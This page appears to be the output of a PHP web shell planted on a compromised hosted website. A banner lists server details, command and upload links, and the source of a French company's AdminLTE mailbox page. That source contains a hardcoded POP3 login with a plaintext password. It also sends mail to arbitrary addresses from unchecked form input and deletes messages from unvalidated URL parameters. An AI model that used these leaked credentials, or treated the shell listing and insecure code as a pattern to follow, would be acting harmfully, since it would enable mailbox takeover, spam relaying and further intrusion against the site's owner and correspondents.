|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// kkk define('EMAIL_EXPEDITEUR', 'MC PRO');
// define('EMAIL_EXPEDITEUR_ADRESSE','test@mc-pro.fr');
// ff $boundary = md5(uniqid(rand())) ;
// $headers = "Content-Type: multipart/mixed; boundary=\"$boundary\"\n" ;
// $headers .= "Content-Transfer-Encoding: base64\n" ;
// $headers .= "From: \"".EMAIL_EXPEDITEUR."\" <".EMAIL_EXPEDITEUR_ADRESSE.">\n" ;
// $headers .= "MIME-Version: 1.0\n" ;
// $txt='';
// $html='';
// $attachment = chunk_split(base64_encode($s));
// $msg .= "--$boundary\r\n";
// $msg.= "Content-type: text/html; charset=\"iso-8859-1\"\n\n";
// $msg.= "Bonjour ,<br/> ééééé test éééé <br/><br/><br/>";
// $msg .= "--$boundary\r\n";
// $msg .= "--$boundary\r\n";
// $msg .= "Content-Transfer-Encoding: base64\r\n";
// $msg .= "Content-Disposition: inline; filename=\"$id\"\r\n";
// $msg .= "\r\n";
// $msg .= $attachment . "\r\n";
// $msg .= "\r\n\r\n";
// $msg .= "--$boundary--\r\n";
// $subject = "Test Email";
// $from = "test@test.com";
// ini_set("sendmail_from", $from);
// $message = " éééé testtt ";
// $headers = "MIME-Version: 1.0" . PHP_EOL;
// $headers .= "Content-Type: text/html; charset=ISO-8859-1" . PHP_EOL;
// $headers .= "From: Site<$from>" . PHP_EOL;
// mail('info@mc-pro.fr', $subject, $message, $headers);
// mail('dsi.pro2000@gmail.com', $subject, $message, $headers);
// mail('info@mc-pro.fr', "TEST", $msg, $headers);
// mail('dsi.pro2000@gmail.com', 'Re : ééééé', 'éééé');
// mail('dsi.pro2000@gmail.com', "TEST", $msg, $headers);
$success =false;
session_start();
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
if( !empty($_GET['d'])) {
$uid = $_GET['i'];
$date = $_GET['d'];
include_once('libbox/lib/class.imap3.php');
$email1 = new Imap();
$connect1 = $email1->connect('{ssl0.ovh.net/pop3/ssl/novalidate-cert}INBOX','contact@mc-pro.fr','Nathalie2606' );
$inbox1 = $email1->delMessages('html',$date);
$success = true;
// echo '<pre>';
// print_r($inbox1);
// echo '</pre>';
// imap_delete($mbox, $inbox['data'][0]['uid']);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>AdminLTE 3 | Mailbox</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- icheck bootstrap -->
<link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<!-- DataTables -->
<link rel="stylesheet" href="../plugins/datatables-bs4/css/dataTables.bootstrap4.css">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- Navbar -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Left navbar links -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
</ul>
<!-- Right navbar links -->
<ul class="navbar-nav ml-auto">
</ul>
</nav>
<!-- /.navbar -->
<!-- Main Sidebar Container -->
<?php include('menu.php'); ?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-md-12">
<div class="card">
<!-- /.card-header -->
<div class="card-body">
<div class="table-responsive mailbox-messages">
<div class="table-responsive mailbox-messages">
<?php
if(!empty($_POST['maill'])){
$too =$_POST['maill'] ;
$mail_objet =$_POST['mail_objet'] ;
// $subject = 'Re : ';
$message = $_POST['txtMessage'] ;
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'From: MC PRO <contact@mc-pro.fr>' . "\r\n";
// mail($too, $subject, $message, $headers);
// mail('dsi.pro2000@gmail.com', $subject, $message, $headers);
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
mail($too, 'Re : '.$mail_objet, $message, $headers);
// echo "aaa <br/>" ;
// exit() ;
}
?>
<?php
if(isset($success) && $success == true ){
?>
<div class="alert alert-success alert-dismissible col-12" role="alert">
<strong>success: </strong>email bien supprimer
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<br clear="all" />
<div id="tab">
<div class="box-body">
<table class="table table-hover">
<thead>
<tr>
<th>Nom</th>
<th>objet</th>
<th>Email</th>
<th>Date</th>
<th></th>
</tr>
</thead>
<tbody id="inbox">
</tbody>
</table>
</div>
</div>
</div>
<!-- /.table -->
</div>
<!-- /.mail-box-messages -->
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- Page Script -->
<script>
$(function () {
//Enable check and uncheck all functionality
$('.checkbox-toggle').click(function () {
var clicks = $(this).data('clicks')
if (clicks) {
//Uncheck all checkboxes
$('.mailbox-messages input[type=\'checkbox\']').prop('checked', false)
$('.checkbox-toggle .far.fa-check-square').removeClass('fa-check-square').addClass('fa-square')
} else {
//Check all checkboxes
$('.mailbox-messages input[type=\'checkbox\']').prop('checked', true)
$('.checkbox-toggle .far.fa-square').removeClass('fa-square').addClass('fa-check-square')
}
$(this).data('clicks', !clicks)
})
//Handle starring for glyphicon and font awesome
$('.mailbox-star').click(function (e) {
e.preventDefault()
//detect type
var $this = $(this).find('a > i')
var glyph = $this.hasClass('glyphicon')
var fa = $this.hasClass('fa')
//Switch states
if (glyph) {
$this.toggleClass('glyphicon-star')
$this.toggleClass('glyphicon-star-empty')
}
if (fa) {
$this.toggleClass('fa-star')
$this.toggleClass('fa-star-o')
}
})
})
</script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- <script src="libbox/loadingoverlay.js"></script> -->
<!-- jQuery -->
<script src="//code.jquery.com/jquery-2.1.1.min.js"></script>
<!-- Bootstrap -->
<script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.6/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="../plugins/datatables/jquery.dataTables.js"></script>
<script src="../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- loading-overlay -->
<script src="libbox/loadingoverlay.min.js"></script>
<script>
$(function() {
var json;
$.LoadingOverlay("show");
$.ajax({
type: "POST",
url: "libbox/json.php",
data: {
inbox: ""
},
dataType: 'json'
}).done(function(d) {
if(d.status === "success"){
var tbody = "";
json = d.data;
$.each(json, function(i, a) {
// tbody += '<tr><td>' + (i + 1) + '</td>';
tbody += '<tr>';
tbody += '<td class="mailbox-name"><b><a href = "read-mail.php?d='+ a.date +'&i='+ i +'" class="view" >' + (a.from.name === "" ? "[empty]" : a.from.name) + '</a></b></td>';
tbody += '<td class="mailbox-subject"><b>' + a.subject + '</b></td>';
tbody += '<td ><a href="mailto:' + a.from.address + '?subject=Re:' + a.subject + '">' + a.from.address + '</a></td>';
tbody += '<td class="mailbox-date">' + a.date + '</td>';
tbody +='<td> <a class=" btn btn-danger " href="mailbox.php?action=delete&d='+ a.date +'&i='+ i +'" "> Supprimer </a> </td> </tr> ' ;
});
$('#inbox').html(tbody);
// $('#myTable').DataTable();
$.LoadingOverlay("hide");
}else{
alert(d.message);
}
});
// $('body').on('click', '.view', function () {
// var id = $(this).data('id');
// var message = json[id].message;
// var attachments = json[id].attachments;
// var attachment = '';
// if(attachments.length > 0){
// attachment += "<hr>Attachments:";
// $.each(attachments, function(i, a) {
// var file = json[id].uid + ',' + a.part + ',' + a.file + ',' + a.encoding;
// attachment += '<br><a href="#" class="file" data-file="' + file + '">' + a.file + '</a>';
// });
// }
// $('#message').html(message + attachment);
// });
// $('body').on('click', '.file', function () {
// $.LoadingOverlay("show");
// var file = $(this).data('file').split(",");
// $.ajax({
// type: "POST",
// url: "json.php",
// data: {
// uid: file[0],
// part: file[1],
// file: file[2],
// encoding: file[3]
// },
// dataType: 'json'
// }).done(function(d) {
// if(d.status === "success"){
// $.LoadingOverlay("hide");
// window.open(d.path, '_blank');
// }else{
// alert(d.message);
// }
// });
// });
// $.LoadingOverlay("hide");
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
var mail_objet = $(e.relatedTarget).data('ooo');
$.ajax({
type : 'post',
url : 'repondre_mail.php', //Here you will fetch records
// dataType: "json",
// data: {original: original, erreurs: erreurs},
data : 'rowid=' + rowid + '&mail_objet=' + mail_objet,
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
</body>
</html>
